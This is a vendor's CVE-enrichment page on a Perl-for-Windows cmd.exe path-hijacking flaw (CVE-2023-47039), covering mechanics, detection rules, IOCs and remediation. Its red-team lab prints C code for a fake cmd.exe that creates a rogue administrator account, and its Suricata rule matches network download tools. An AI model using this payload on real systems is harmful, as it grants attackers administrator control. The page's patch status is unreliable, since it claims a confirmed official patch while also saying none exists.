☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-47039

CVE-2023-47039 Code Execution in Perl
📅 PUBLISHED: 2024-01-02 05:30 UTC 🔄 UPDATED: 2026-10-17 01:08 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: USA License: Commercial
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-47039 describes a critical security vulnerability in the Perl interpreter for Windows. The flaw arises from Perl's insecure reliance on the system PATH environment variable to locate and execute cmd.exe. When a Perl script or executable runs on Windows, Perl searches for cmd.exe in the current working directory before checking system directories. This path search order issue allows an attacker with limited privileges to place a malicious cmd.exe in a writable location (e.g., C:\ProgramData). If an administrator or higher-privileged user executes a Perl-based application from that compromised directory, the attacker's cmd.exe is executed instead of the legitimate system binary, leading to arbitrary code execution with elevated privileges.

This vulnerability is particularly dangerous in shared or multi-user Windows environments where low-privileged users can write to directories that are later accessed by administrators. The lack of a patch or official advisory from Perl further elevates the risk, as no vendor-supplied fix is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not specific to a package manager (NPM, PyPI, Go, Ruby) but affects the core Perl interpreter distribution for Windows. However, any Perl-based application or module distributed via CPAN or bundled in Windows environments inherits this risk. Organizations using Perl in CI/CD pipelines, automation scripts, or administrative tooling should treat this as a supply chain risk, as the insecure behavior is embedded in the interpreter itself.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability description, a reasonable assessment is:

  • Attack Vector (AV): Local (L) – The attacker must have local access to the system.
  • Attack Complexity (AC): Low (L) – No special conditions beyond placing a malicious binary.
  • Privileges Required (PR): Low (L) – The attacker needs only limited user privileges.
  • User Interaction (UI): Required (R) – The victim (admin) must execute a Perl script from the compromised directory.
  • Scope (S): Changed (C) – The attacker can impact resources beyond their own privilege level.
  • Confidentiality (C): High (H) – Full system compromise possible.
  • Integrity (I): High (H) – Arbitrary code execution.
  • Availability (A): High (H) – Potential for denial of service or system takeover.

Estimated CVSS Score: 7.5 (High)

Threat Level: High – Exploitation is straightforward, requires low privileges, and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability stems from Windows' default path search order and Perl's implementation of system() or backtick operations. When Perl needs to execute an external command (e.g., system("cmd /c dir")), it calls CreateProcess with the command name. Windows then searches for the executable in the following order:

  1. The directory from which the application loaded.
  2. The current working directory.
  3. The system directory (e.g., C:\Windows\System32).
  4. The 16-bit system directory.
  5. The Windows directory.
  6. Directories listed in the PATH environment variable.

Perl does not sanitize or qualify the path to cmd.exe, relying entirely on the OS search order. An attacker can exploit this by placing a malicious cmd.exe in a directory like C:\ProgramData, which is often writable by low-privileged users. If an administrator runs a Perl script from C:\ProgramData (or any directory where the attacker has placed the malicious binary), Windows will execute the attacker's cmd.exe instead of the legitimate one.

The attack flow:

  1. Attacker gains low-privileged access to a Windows system.
  2. Attacker writes a malicious cmd.exe to C:\ProgramData (or another writable directory).
  3. Attacker waits for an administrator to execute a Perl script from that directory (e.g., via scheduled task, login script, or manual execution).
  4. When the admin runs the Perl script, Perl calls system("cmd.exe ...").
  5. Windows finds the malicious cmd.exe in the current working directory (C:\ProgramData) and executes it.
  6. The malicious binary runs with the administrator's privileges, giving the attacker full control.

Vulnerable vs. Patched Code

Vulnerable Code (Perl's internal implementation): Perl uses the CreateProcess API with the command name as-is. For example, in win32.c:

// Vulnerable: No path qualification
CreateProcess(NULL, "cmd.exe /c dir", ...);

Patched Code (Hypothetical fix): A secure implementation would use the full path to cmd.exe:

// Patched: Use absolute path
CreateProcess(NULL, "C:\\Windows\\System32\\cmd.exe /c dir", ...);

Alternatively, Perl could use SearchPath with a safe search order or validate the executable path before execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

  • Windows 10/11 or Windows Server 2019/2022
  • Perl installed (e.g., Strawberry Perl or ActivePerl)
  • A low-privileged user account
  • An administrator account

Steps:

  1. Create Malicious cmd.exe: Write a simple payload that executes a reverse shell or adds a user. For example, using C:

    #include <stdlib.h>
    int main() {
        system("net user attacker Password123! /add");
        system("net localgroup administrators attacker /add");
        // Then execute the real cmd.exe to avoid suspicion
        system("C:\\Windows\\System32\\cmd.exe");
        return 0;
    }
    

    Compile as cmd.exe.

  2. Place Malicious Binary: As the low-privileged user, copy the malicious cmd.exe to C:\ProgramData\:

    copy malicious_cmd.exe C:\ProgramData\cmd.exe
    
  3. Trigger Execution: Create a simple Perl script that calls cmd.exe:

    # test.pl
    system("cmd.exe /c echo Hello");
    

    Save it in C:\ProgramData\.

  4. Wait for Admin: The administrator runs perl C:\ProgramData\test.pl. The malicious cmd.exe executes, adding the attacker to the Administrators group.

Blue Team (Detection & Prevention)

Detection:

  • Monitor for cmd.exe executed from non-standard paths (e.g., C:\ProgramData\, C:\Temp\).
  • Alert on CreateProcess calls where the executable name is cmd.exe and the path is not C:\Windows\System32\.
  • Use Sysmon Event ID 1 (Process Creation) to log command-line arguments and image paths.

Prevention:

  • Enforce application whitelisting (e.g., AppLocker) to allow only C:\Windows\System32\cmd.exe.
  • Remove write permissions from directories like C:\ProgramData for low-privileged users.
  • Use Windows Defender Attack Surface Reduction (ASR) rules to block cmd.exe from non-system directories.
  • Update Perl to a patched version (if available) or use a wrapper that qualifies the path.

Indicators of Compromise (IOCs)

  • File: C:\ProgramData\cmd.exe (or any non-standard path for cmd.exe)
  • Process: cmd.exe executed from C:\ProgramData\, C:\Temp\, or user-writable directories.
  • Registry: Unusual cmd.exe entries in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
  • Network: Outbound connections from cmd.exe (if reverse shell used).
  • Event Logs: Windows Security Event ID 4688 (Process Creation) with cmd.exe from suspicious path.

Detection Engineering

YARA Rule

rule CVE_2023_47039_Perl_Cmd_Hijack {
    meta:
        description = "Detects malicious cmd.exe placed in non-standard paths for Perl hijacking"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-47039"
    strings:
        $cmd_name = "cmd.exe" nocase
        $suspicious_paths = /C:\\\\(ProgramData|Temp|Users\\\\.*?\\\\(AppData|Desktop|Downloads))\\\\cmd\\.exe/i
    condition:
        $cmd_name and $suspicious_paths
}

Sigma Rule

title: Perl Cmd.exe Path Hijacking
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects cmd.exe execution from non-standard directories, indicating CVE-2023-47039 exploitation
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47039
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\cmd.exe'
        Image|startswith:
            - 'C:\ProgramData\'
            - 'C:\Temp\'
            - 'C:\Users\*\AppData\'
            - 'C:\Users\*\Desktop\'
            - 'C:\Users\*\Downloads\'
    condition: selection
falsepositives:
    - Legitimate software installed in non-standard paths (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2023-47039 Perl cmd.exe Hijack - Potential Reverse Shell";
    flow:to_server,established;
    content:"cmd.exe"; nocase;
    pcre:"/cmd\.exe\s+-c\s+(powershell|net\s+user|wget|curl)/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-47039;
)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Write Permissions: Ensure low-privileged users cannot write to directories like C:\ProgramData, C:\Temp, or user profile folders.
  2. Use Absolute Paths: Modify Perl scripts to use the full path to cmd.exe:
    system("C:\\Windows\\System32\\cmd.exe /c command");
    
  3. Application Control: Deploy AppLocker or WDAC to block cmd.exe from non-system paths.
  4. Monitor & Alert: Implement the detection rules above to identify exploitation attempts.

Long-Term Fix:

  • Await an official patch from Perl. In the meantime, consider using a Perl distribution that hardcodes the path to cmd.exe or use a wrapper script.
  • For critical systems, replace Perl with a more secure alternative (e.g., PowerShell) for administrative tasks.

Workaround:

  • Set the PATH environment variable to prioritize system directories and remove writable directories from the search order.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-47039/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.